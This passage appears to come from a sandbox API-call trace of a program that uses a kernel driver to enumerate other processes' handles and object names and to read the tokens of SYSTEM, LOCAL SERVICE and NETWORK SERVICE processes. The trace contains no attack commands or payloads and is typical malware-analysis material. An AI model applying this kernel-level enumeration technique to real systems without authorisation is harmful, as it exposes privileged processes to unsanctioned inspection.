| out: Process=0xfffff88005590558) returned 0x0 [0113.726] PsAcquireProcessExitSynchronization () returned 0x0 [0113.726] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.726] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0113.726] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.726] PsReleaseProcessExitSynchronization () returned 0x2 [0113.726] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.726] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.726] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0113.726] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.726] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.726] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.726] PsAcquireProcessExitSynchronization () returned 0x0 [0113.726] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.726] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0113.726] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.726] PsReleaseProcessExitSynchronization () returned 0x2 [0113.726] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.726] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.726] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0113.726] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.726] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.727] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0113.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.727] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0113.727] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.727] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x24 [0113.727] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.727] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.727] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.727] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.727] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.728] CloseHandle (hObject=0xc8) returned 1 [0113.728] CloseHandle (hObject=0xc0) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.728] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.728] PsAcquireProcessExitSynchronization () returned 0x0 [0113.728] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0) [0113.729] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0113.729] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.729] PsReleaseProcessExitSynchronization () returned 0x2 [0113.729] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0113.729] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.729] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0113.729] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.729] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.729] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.729] PsAcquireProcessExitSynchronization () returned 0x0 [0113.729] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0) [0113.729] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0113.729] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.729] PsReleaseProcessExitSynchronization () returned 0x2 [0113.729] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0113.729] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.729] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0113.729] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.729] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0113.729] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.729] PsAcquireProcessExitSynchronization () returned 0x0 [0113.729] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0) [0113.729] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0113.729] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.729] PsReleaseProcessExitSynchronization () returned 0x2 [0113.729] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0113.729] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.730] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0113.730] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.730] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.730] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.730] PsAcquireProcessExitSynchronization () returned 0x0 [0113.730] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880055905d0) [0113.730] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0113.730] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.730] PsReleaseProcessExitSynchronization () returned 0x2 [0113.730] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0113.730] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.730] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0113.730] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.730] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.730] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0113.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.730] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0113.730] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.730] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0113.730] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.730] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.730] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.730] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.730] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.732] CloseHandle (hObject=0xc8) returned 1 [0113.732] CloseHandle (hObject=0xc0) returned 1 [0113.732] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.732] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.732] PsAcquireProcessExitSynchronization () returned 0x0 [0113.732] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0) [0113.732] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0113.732] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.732] PsReleaseProcessExitSynchronization () returned 0x2 [0113.732] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0113.732] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.732] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0113.732] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.732] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.732] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.732] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.732] PsAcquireProcessExitSynchronization () returned 0x0 [0113.732] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0) [0113.732] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0113.732] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.732] PsReleaseProcessExitSynchronization () returned 0x2 [0113.733] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0113.733] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.733] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0113.733] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.733] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.733] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.733] PsAcquireProcessExitSynchronization () returned 0x0 [0113.733] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0) [0113.733] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0113.733] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.733] PsReleaseProcessExitSynchronization () returned 0x2 [0113.733] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0113.733] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.733] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0113.733] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.733] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.733] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.733] PsAcquireProcessExitSynchronization () returned 0x0 [0113.733] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0) [0113.733] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0113.733] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.733] PsReleaseProcessExitSynchronization () returned 0x2 [0113.733] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0113.733] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.733] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0113.733] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.733] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.734] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.734] PsAcquireProcessExitSynchronization () returned 0x0 [0113.734] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880055905d0) [0113.734] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.734] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.734] PsReleaseProcessExitSynchronization () returned 0x2 [0113.734] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0113.734] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.734] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.734] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.734] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.734] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0113.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.734] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0113.734] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.734] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xae [0113.734] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.734] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.734] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.734] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.734] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.860] CloseHandle (hObject=0xc8) returned 1 [0113.860] CloseHandle (hObject=0xc0) returned 1 [0113.860] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.860] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.860] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.860] PsAcquireProcessExitSynchronization () returned 0x0 [0113.860] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.860] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0113.860] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.860] PsReleaseProcessExitSynchronization () returned 0x2 [0113.860] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.860] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.861] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0113.861] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.861] HeapFree (in: 